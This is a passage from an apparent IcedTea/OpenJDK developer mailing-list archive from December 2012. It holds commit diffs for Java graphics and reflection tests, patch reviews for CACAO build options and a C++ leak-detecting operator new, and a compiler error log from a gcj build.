BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_4BYTE_ABGR); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_4BYTE_ABGR_PRE. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageType4ByteABGR_PRE(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_4BYTE_ABGR_PRE); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_BYTE_GRAY. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeByteGray(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_BYTE_GRAY); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_USHORT_GRAY. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeUshortGray(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_GRAY); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_USHORT_565_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeUshort565RGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_565_RGB); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_USHORT_555_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeUshort555RGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_555_RGB); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_3BYTE_BGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageType3ByteBGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_3BYTE_BGR); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image + * with type TYPE_BYTE_BINARY. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ public TestResult testBitBltColorDotsImageTypeByteIntARGB(TestImage image, Graphics2D graphics2d) { // create new buffered image and then perform basic BitBlt test. From ptisnovs at icedtea.classpath.org Thu Dec 20 04:13:31 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Thu, 20 Dec 2012 12:13:31 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 257a62c6cbc5 in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=257a62c6cbc5 author: Pavel Tisnovsky date: Thu Dec 20 13:16:30 2012 +0100 Added three new tests into the test case src/org/RhinoTests/ScriptEngineClassTest.java. diffstat: ChangeLog | 5 + src/org/RhinoTests/ScriptEngineClassTest.java | 82 +++++++++++++++++++++++++++ 2 files changed, 87 insertions(+), 0 deletions(-) diffs (118 lines): diff -r 3b33320797eb -r 257a62c6cbc5 ChangeLog --- a/ChangeLog Wed Dec 19 11:03:19 2012 +0100 +++ b/ChangeLog Thu Dec 20 13:16:30 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-20 Pavel Tisnovsky + + * src/org/RhinoTests/ScriptEngineClassTest.java: + Added three new tests into this test case. + 2012-12-19 Pavel Tisnovsky * src/org/RhinoTests/ScriptExceptionClassTest.java: diff -r 3b33320797eb -r 257a62c6cbc5 src/org/RhinoTests/ScriptEngineClassTest.java --- a/src/org/RhinoTests/ScriptEngineClassTest.java Wed Dec 19 11:03:19 2012 +0100 +++ b/src/org/RhinoTests/ScriptEngineClassTest.java Thu Dec 20 13:16:30 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -369,6 +370,35 @@ } /** + * Test for method javax.script.ScriptEngine.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + "ARGV", + "FILENAME", + "ENGINE", + "ENGINE_VERSION", + "NAME", + "LANGUAGE", + "LANGUAGE_VERSION", + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.scriptEngineClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.ScriptEngine.getClass().getMethods() */ protected void testGetMethods() { @@ -477,6 +507,58 @@ } /** + * Test for method javax.script.ScriptEngine.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptEngineClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.ScriptEngine.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptEngineClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.ScriptEngine */ @SuppressWarnings("cast") From gnu.andrew at redhat.com Thu Dec 20 04:17:21 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Thu, 20 Dec 2012 07:17:21 -0500 (EST) Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <50D211CC.5010303@LGonQn.Org> Message-ID: <1854722806.18308525.1356005841749.JavaMail.root@redhat.com> ----- Original Message ----- > Hi > > I already have a patch that targets the current jdk7u-dev > head. I'm still testing tho so didn't submit it there yet. > Its slightly different than icedtea7 head. > Will they be the same if we sync with upstream or is there some difference that's only present locally? I'd rather we just pull it in from 7u if possible, rather than having a local copy which then has to be merged with the upstream version. > Chris > Webrev is here: > http://integral-portal.lgonqn.org/temp/ChrisPhi/jdk7u-dev-zero-hs24b25++/ > > On 19/12/12 12:11 PM, Roman Kennke wrote: > > Am Mittwoch, den 19.12.2012, 12:01 -0500 schrieb Andrew Hughes: > >> ----- Original Message ----- > >>> Hi Andrew > >>> > >>> > >>> > >>> > >>> On 19/12/12 09:16 AM, Andrew Hughes wrote: > >>>> ----- Original Message ----- > >>>>> Attached patch is a backport of Roman's jdk8 fixes to > >>>>> Icedtea7-head. > >>>>> > >>>>> Please review. > >>>>> > >>>>> Cheers! > >>>>> Chris > >>>>> > >>>>> PS > >>>>> Webrev is here: > >>>>> http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ > >>>>> > >>>>> > >>>>> > >>>> Is this upstream? If so, what bug ID(s) does it include? I see > >>>> none in the webrev. > >>> Sorry, > >>> Yes its a backport of Roman's fix for 8000780 : "make Zero build > >>> and > >>> run > >>> with JDK8" > >>> which was putback by twisti at the end of October. Its nearly > >>> identical > >>> except for > >>> the need to backout the Permgen Removal stuff. > >>> > >> Ah, thanks! Do you know what the route is for getting it into 7u? > >> Do > >> we need to suggest it or will they just pull it in with a bulk > >> HotSpot update? > > I would guess that we need to suggest it, and I also think that > > this is > > our plan. However, it sortof depends on another big change that > > needs to > > go into 7up first, Twisti already proposed it, but I think it got > > stuck. > > > > Roman > > > > > > -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From aph at redhat.com Thu Dec 20 06:32:12 2012 From: aph at redhat.com (Andrew Haley) Date: Thu, 20 Dec 2012 14:32:12 +0000 Subject: Building CACAO with gcj FTBFS Message-ID: <50D3216C.5080407@redhat.com> With gcj as the build JVM: ./configure --enable-cacao --with-jdk-home=/etc/alternatives/java_sdk ...eventually # Running javac: /home/aph/iced-arm/cacao/icedtea6/bootstrap/jdk1.6.0/bin/javac -J-XX:ThreadStackSize=1024 -J-client -J-Xmx750m -J-Xms128m -J-XX:PermSize=32m -J-XX:MaxPermSize=160m -g -source 1.5 -target 5 -encoding ascii -Xbootclasspath:/home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/classes -sourcepath /home/aph/iced-arm/cacao/icedtea6/generated.build:../../../src/solaris/classes:../../../src/share/classes -bootclasspath /home/aph/iced-arm/cacao/icedtea6/bootstrap/jdk1.6.0/jre/lib/rt.jar::/home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/classes -d /home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/classes @/home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/tmp/sun/java.security/.classes.list ---------- 1. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1957) return impl.getPrivateKeyUsageExtension(); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from PrivateKeyUsageExtension to Extension ---------- 2. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1959) return impl.getSubjectAlternativeNameExtension(); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from SubjectAlternativeNameExtension to Extension ---------- 3. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1961) return impl.getNameConstraintsExtension(); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from NameConstraintsExtension to Extension ---------- 4. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1963) return impl.getCertificatePoliciesExtension(); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from CertificatePoliciesExtension to Extension ---------- 5. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1965) return impl.getExtendedKeyUsageExtension(); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from ExtendedKeyUsageExtension to Extension ---------- 6. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1979) return new PrivateKeyUsageExtension(FALSE, encoded); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from PrivateKeyUsageExtension to Extension ---------- 7. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1984) return new SubjectAlternativeNameExtension(FALSE, encoded); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from SubjectAlternativeNameExtension to Extension ---------- 8. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1986) return new NameConstraintsExtension(FALSE, encoded); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from NameConstraintsExtension to Extension ---------- 9. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1988) return new CertificatePoliciesExtension(FALSE, encoded); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from CertificatePoliciesExtension to Extension ---------- 10. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1990) return new ExtendedKeyUsageExtension(FALSE, encoded); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Type mismatch: cannot convert from ExtendedKeyUsageExtension to Extension ---------- 10 problems (10 errors)make[6]: *** [.compile.classlist] Error 255 make[6]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/make/java/security' make[5]: *** [all] Error 1 make[5]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/make/java' make[4]: *** [all] Error 1 make[4]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/make' make[3]: *** [jdk-build] Error 2 make[3]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj' make[2]: *** [build_product_image] Error 2 make[2]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj' make[1]: *** [jdk_only] Error 2 make[1]: Leaving directory `/home/aph/iced-arm/cacao/icedtea6/openjdk-ecj' make: *** [stamps/icedtea-ecj.stamp] Error 2 From ptisnovs at redhat.com Thu Dec 20 07:13:43 2012 From: ptisnovs at redhat.com (Pavel Tisnovsky) Date: Thu, 20 Dec 2012 10:13:43 -0500 (EST) Subject: [rfc][icedtea-web] C++ unit-tests for memory leak w/ simple leak-detecting operator-new, along with fix In-Reply-To: <50D1D0B6.4050105@redhat.com> Message-ID: <1872243162.3085993.1356016423911.JavaMail.root@redhat.com> Hi Adam, this patch looks very good in overall, but I'm not sure (=I'm dumb today) why can't you simply use ::new and ::delete operators to override them in following place: +void* operator new(size_t size) throw (std::bad_alloc) { + if (!__allocations) { + // This uses placement-new, which calls the constructor on a specific memory location + // This is needed because we cannot call 'new' in this context, nor can we rely on static-initialization + // for the set to occur before any call to 'new'! + void* memory = malloc(sizeof(AllocationSet)); + __allocations = new (memory) AllocationSet(); + } + + void* mem = malloc(size); + if (mem == 0) { + throw std::bad_alloc(); // ANSI/ISO compliant behavior + } + __allocations->insert(mem); + return mem; + Cheers, Pavel ----- Adam Domurad wrote: > The unit test infrastructure + tests: > 2012-12-XX Adam Domurad > > * tests/cpp-unit-tests/browser_mock.cc > (mock_retainobject): New, mocks behaviour of NPAPI retainobject > (mock_releaseobject): New, mocks behaviour of NPAPI releaseobject > * tests/cpp-unit-tests/main.cc: Add warning of memory leak based on > operator-new. > * tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc: New, tests > for memory leak in (IcedTeaScriptableJavaObject::deAllocate) and > (IcedTeaScriptableJavaPackageObject::deAllocate) > * tests/cpp-unit-tests/checked_allocations.h: Defines set that does not > use operator-new, to prevent recursion in overloaded operator-new > * tests/cpp-unit-tests/checked_allocations.cc: Operator new overload > that has allocation-set for querying live allocations. > > The fix: > 2012-12-XX Adam Domurad > > * plugin/icedteanp/IcedTeaScriptablePluginObject.cc > (IcedTeaScriptableJavaObject::deAllocate): Fix memory leak > (IcedTeaScriptableJavaPackageObject::deAllocate): Fix memory leak From stefan at complang.tuwien.ac.at Thu Dec 20 08:02:39 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Thu, 20 Dec 2012 17:02:39 +0100 Subject: [RFC 1/2 v2] PR1176: Added --with-cacao-src-dir option Message-ID: https://bitbucket.org/Ringdingcoder/icedtea7/commits/bd37843206b21eff8a9a2b94de2f169936ed6a41 diff -r 1a8e93b7fe96 -r bd37843206b2 ChangeLog --- a/ChangeLog Wed Dec 19 18:38:08 2012 +0000 +++ b/ChangeLog Thu Dec 20 16:41:31 2012 +0100 @@ -1,3 +1,16 @@ +2012-12-20 Stefan Ring + + PR1176: Added --with-cacao-src-dir option + * acinclude.m4: + (IT_WITH_CACAO_SRC_DIR): Brought in line with local customs. + + Transplant of + 2009-10-01 Robert Schuster + + * configure.ac: Added --with-cacao-src-dir option. + * acinclude: New macro AC_CHECK_WITH_CACAO_SRC_DIR. + * Makefile.am: Copy Cacao sources when USE_ALT_CACAO_SRC_DIR is used. + 2010-09-24 Andrew John Hughes * Makefile.am: diff -r 1a8e93b7fe96 -r bd37843206b2 Makefile.am --- a/Makefile.am Wed Dec 19 18:38:08 2012 +0000 +++ b/Makefile.am Thu Dec 20 16:41:31 2012 +0100 @@ -1077,6 +1077,8 @@ stamps/download-cacao.stamp: if BUILD_CACAO if !USE_SYSTEM_CACAO +if USE_ALT_CACAO_SRC_DIR +else if USE_ALT_CACAO_SRC_ZIP ln -sf $(ALT_CACAO_SRC_ZIP) $(CACAO_SRC_ZIP) endif @@ -1098,6 +1100,7 @@ fi endif endif +endif mkdir -p stamps touch $@ @@ -1277,6 +1280,14 @@ stamps/extract-cacao.stamp: stamps/download-cacao.stamp if BUILD_CACAO if !USE_SYSTEM_CACAO +if USE_ALT_CACAO_SRC_DIR + set -e ; \ + if ! test -d cacao ; \ + then \ + mkdir -p cacao/cacao ; \ + cp -r $(ALT_CACAO_SRC_DIR)/* cacao/cacao/ ; \ + fi +else set -e ; \ if ! test -d cacao/cacao ; \ then \ @@ -1289,6 +1300,7 @@ fi endif endif +endif mkdir -p stamps touch $@ diff -r 1a8e93b7fe96 -r bd37843206b2 acinclude.m4 --- a/acinclude.m4 Wed Dec 19 18:38:08 2012 +0000 +++ b/acinclude.m4 Thu Dec 20 16:41:31 2012 +0100 @@ -805,7 +805,7 @@ AC_MSG_ERROR([Invalid CACAO source zip specified: ${ALT_CACAO_SRC_ZIP}]) fi ], - [ + [ ALT_CACAO_SRC_ZIP="not specified" ]) AM_CONDITIONAL(USE_ALT_CACAO_SRC_ZIP, test "x${ALT_CACAO_SRC_ZIP}" != "xnot specified") @@ -813,6 +813,27 @@ AC_SUBST(ALT_CACAO_SRC_ZIP) ]) +AC_DEFUN([IT_WITH_CACAO_SRC_DIR], +[ + AC_MSG_CHECKING(for a CACAO source directory) + AC_ARG_WITH([cacao-src-dir], + [AS_HELP_STRING(--with-cacao-src-dir,specify the location of the CACAO sources)], + [ + ALT_CACAO_SRC_DIR=${withval} + if test "x${ALT_CACAO_SRC_DIR}" = "xno"; then + ALT_CACAO_SRC_DIR="not specified" + elif ! test -d ${ALT_CACAO_SRC_DIR} ; then + AC_MSG_ERROR([Invalid CACAO source dir specified: ${ALT_CACAO_SRC_DIR}]) + fi + ], + [ + ALT_CACAO_SRC_DIR="not specified" + ]) + AM_CONDITIONAL(USE_ALT_CACAO_SRC_DIR, test "x${ALT_CACAO_SRC_DIR}" != "xnot specified") + AC_MSG_RESULT(${ALT_CACAO_SRC_DIR}) + AC_SUBST(ALT_CACAO_SRC_DIR) +]) + AC_DEFUN([IT_ENABLE_HG], [ AC_REQUIRE([IT_WITH_PROJECT]) diff -r 1a8e93b7fe96 -r bd37843206b2 configure.ac --- a/configure.ac Wed Dec 19 18:38:08 2012 +0000 +++ b/configure.ac Thu Dec 20 16:41:31 2012 +0100 @@ -140,6 +140,7 @@ IT_ENABLE_CACAO IT_WITH_CACAO_HOME IT_WITH_CACAO_SRC_ZIP +IT_WITH_CACAO_SRC_DIR IT_ENABLE_JAMVM IT_WITH_JAMVM_SRC_ZIP From stefan at complang.tuwien.ac.at Thu Dec 20 08:03:35 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Thu, 20 Dec 2012 17:03:35 +0100 Subject: [RFC 2/2 v2] PR1176: Added --with-cacao-src-dir option Message-ID: https://bitbucket.org/Ringdingcoder/icedtea7/commits/75567c2025d9a4b8ef88a8d5dbd9622b57e32b12 diff -r bd37843206b2 -r 75567c2025d9 ChangeLog --- a/ChangeLog Thu Dec 20 16:41:31 2012 +0100 +++ b/ChangeLog Thu Dec 20 16:41:33 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-20 Stefan Ring + + Transplant of b20e2e867dd8 from icedtea6 + * Makefile.am: copy entire CACAO directory, including .hg + 2012-12-20 Stefan Ring PR1176: Added --with-cacao-src-dir option diff -r bd37843206b2 -r 75567c2025d9 Makefile.am --- a/Makefile.am Thu Dec 20 16:41:31 2012 +0100 +++ b/Makefile.am Thu Dec 20 16:41:33 2012 +0100 @@ -1282,10 +1282,10 @@ if !USE_SYSTEM_CACAO if USE_ALT_CACAO_SRC_DIR set -e ; \ - if ! test -d cacao ; \ + if ! test -d cacao/cacao ; \ then \ - mkdir -p cacao/cacao ; \ - cp -r $(ALT_CACAO_SRC_DIR)/* cacao/cacao/ ; \ + mkdir cacao ; \ + cp -rL $(ALT_CACAO_SRC_DIR) cacao/cacao ; \ fi else set -e ; \ From adomurad at redhat.com Thu Dec 20 08:05:12 2012 From: adomurad at redhat.com (Adam Domurad) Date: Thu, 20 Dec 2012 11:05:12 -0500 Subject: [rfc][icedtea-web] C++ unit-tests for memory leak w/ simple leak-detecting operator-new, along with fix In-Reply-To: <1872243162.3085993.1356016423911.JavaMail.root@redhat.com> References: <1872243162.3085993.1356016423911.JavaMail.root@redhat.com> Message-ID: <50D33738.4060808@redhat.com> On 12/20/2012 10:13 AM, Pavel Tisnovsky wrote: > Hi Adam, > > this patch looks very good in overall, but I'm not sure (=I'm dumb today) why can't you > simply use ::new and ::delete operators to override them in following place: > > +void* operator new(size_t size) throw (std::bad_alloc) { > + if (!__allocations) { > + // This uses placement-new, which calls the constructor on a specific memory location > + // This is needed because we cannot call 'new' in this context, nor can we rely on static-initialization > + // for the set to occur before any call to 'new'! > + void* memory = malloc(sizeof(AllocationSet)); > + __allocations = new (memory) AllocationSet(); > + } > + > + void* mem = malloc(size); > + if (mem == 0) { > + throw std::bad_alloc(); // ANSI/ISO compliant behavior > + } > + __allocations->insert(mem); > + return mem; > + > > Cheers, > Pavel As we discussed, this would be recursive. http://stackoverflow.com/questions/4134195/how-do-i-call-the-original-operator-new-if-i-have-overloaded-it indicates that the only approach is to recreate operator-new using malloc. Thanks, will push as is (as we also discussed off-list), -Adam > > ----- Adam Domurad wrote: >> The unit test infrastructure + tests: >> 2012-12-XX Adam Domurad >> >> * tests/cpp-unit-tests/browser_mock.cc >> (mock_retainobject): New, mocks behaviour of NPAPI retainobject >> (mock_releaseobject): New, mocks behaviour of NPAPI releaseobject >> * tests/cpp-unit-tests/main.cc: Add warning of memory leak based on >> operator-new. >> * tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc: New, tests >> for memory leak in (IcedTeaScriptableJavaObject::deAllocate) and >> (IcedTeaScriptableJavaPackageObject::deAllocate) >> * tests/cpp-unit-tests/checked_allocations.h: Defines set that does not >> use operator-new, to prevent recursion in overloaded operator-new >> * tests/cpp-unit-tests/checked_allocations.cc: Operator new overload >> that has allocation-set for querying live allocations. >> >> The fix: >> 2012-12-XX Adam Domurad >> >> * plugin/icedteanp/IcedTeaScriptablePluginObject.cc >> (IcedTeaScriptableJavaObject::deAllocate): Fix memory leak >> (IcedTeaScriptableJavaPackageObject::deAllocate): Fix memory leak From stefan at complang.tuwien.ac.at Thu Dec 20 08:05:41 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Thu, 20 Dec 2012 17:05:41 +0100 Subject: PING: PR1176: Added --with-cacao-src-dir option In-Reply-To: References: <1204021510.6590692.1352301626060.JavaMail.root@redhat.com> <492042789.6591839.1352301716265.JavaMail.root@redhat.com> Message-ID: On Sat, Dec 15, 2012 at 6:31 PM, Stefan Ring wrote: >> Further to that, the one in the commit message is wrong as Stefan >> didn't write this: >> >> 2009-10-01 Robert Schuster >> >> * configure.ac: Added --with-cacao-src-dir option. >> * acinclude: New macro AC_CHECK_WITH_CACAO_SRC_DIR. >> * Makefile.am: Copy Cacao sources when USE_ALT_CACAO_SRC_DIR is used. > > What do you want me to do exactly? Copy Robert's old changelog entry > over? It doesn't really fit, as the identifier got later renamed to > IT_WITH_CACAO_SRC_DIR after its original inclusion in icedtea6. Andrew, better? -> http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-December/021216.html http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-December/021217.html From jvanek at icedtea.classpath.org Thu Dec 20 08:11:58 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Thu, 20 Dec 2012 16:11:58 +0000 Subject: /hg/icedtea-web: Added and applied Remote annotation, added Remo... Message-ID: changeset 18ee1b8417d8 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=18ee1b8417d8 author: Jiri Vanek date: Thu Dec 20 17:10:38 2012 +0100 Added and applied Remote annotation, added Remote tests. diffstat: ChangeLog | 18 + tests/junit-runner/JunitLikeXmlOutputListener.java | 21 +- tests/junit-runner/LessVerboseTextListener.java | 38 +- tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java | 9 + tests/report-styles/jreport.xsl | 10 + tests/reproducers/custom/remote/srcs/Makefile | 5 + tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java | 231 ++++++++++ tests/reproducers/custom/remote/testcases/RemoteApplicationTests.java | 144 ++++++ tests/test-extensions/net/sourceforge/jnlp/annotations/Remote.java | 52 ++ 9 files changed, 513 insertions(+), 15 deletions(-) diffs (truncated from 716 to 500 lines): diff -r 892cc7f39358 -r 18ee1b8417d8 ChangeLog --- a/ChangeLog Tue Dec 18 16:15:01 2012 +0100 +++ b/ChangeLog Thu Dec 20 17:10:38 2012 +0100 @@ -1,3 +1,21 @@ +2012-12-18 Jiri Vanek + + Added and applied Remote annotation, added Remote tests: + * tests/report-styles/jreport.xsl: and + * tests/junit-runner/JunitLikeXmlOutputListener: and + * tests/junit-runner/LessVerboseTextListener.java: added handling of + Remote annotation + * tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java: + Tests downloading from classpath.org marked. + * tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java: + new file, handling url and evaluations of remote reproducers + * tests/reproducers/custom/remote/testcases/RemoteApplicationTests.java: + launcher for remote tests. + * tests/test-extensions/net/sourceforge/jnlp/annotations/Remote.java: + Implementation of Remote annotation + + + 2012-12-18 Jiri Vanek Cleaned unit-tests: diff -r 892cc7f39358 -r 18ee1b8417d8 tests/junit-runner/JunitLikeXmlOutputListener.java --- a/tests/junit-runner/JunitLikeXmlOutputListener.java Tue Dec 18 16:15:01 2012 +0100 +++ b/tests/junit-runner/JunitLikeXmlOutputListener.java Thu Dec 20 17:10:38 2012 +0100 @@ -23,6 +23,7 @@ import java.util.concurrent.TimeUnit; import net.sourceforge.jnlp.annotations.Bug; import net.sourceforge.jnlp.annotations.KnownToFail; +import net.sourceforge.jnlp.annotations.Remote; import org.junit.internal.JUnitSystem; @@ -49,6 +50,7 @@ private static final String BUGS = "bugs"; private static final String BUG = "bug"; private static final String K2F = "known-to-fail"; + private static final String REMOTE = "remote"; private static final String TEST_NAME_ATTRIBUTE = "name"; private static final String TEST_TIME_ATTRIBUTE = "time"; private static final String TEST_IGNORED_ATTRIBUTE = "ignored"; @@ -172,6 +174,7 @@ double testTimeSeconds = ((double) testTime) / 1000d; testDone(description, testTime, testTimeSeconds, false); } + private void testDone(Description description, long testTime, double testTimeSeconds, boolean ignored) throws Exception { Class testClass = null; @@ -197,16 +200,14 @@ if (ignored){ testcaseAtts.put(TEST_IGNORED_ATTRIBUTE, Boolean.TRUE.toString()); } - KnownToFail k2f=null; - try { - if (testClass != null && testMethod != null) { - k2f = testMethod.getAnnotation(KnownToFail.class); - if (k2f != null) { - testcaseAtts.put(K2F, Boolean.TRUE.toString()); - } - } - } catch (Exception ex) { - ex.printStackTrace(); + KnownToFail k2f = LessVerboseTextListener.getAnnotation(testClass, testMethod.getName(), KnownToFail.class); + Remote remote = 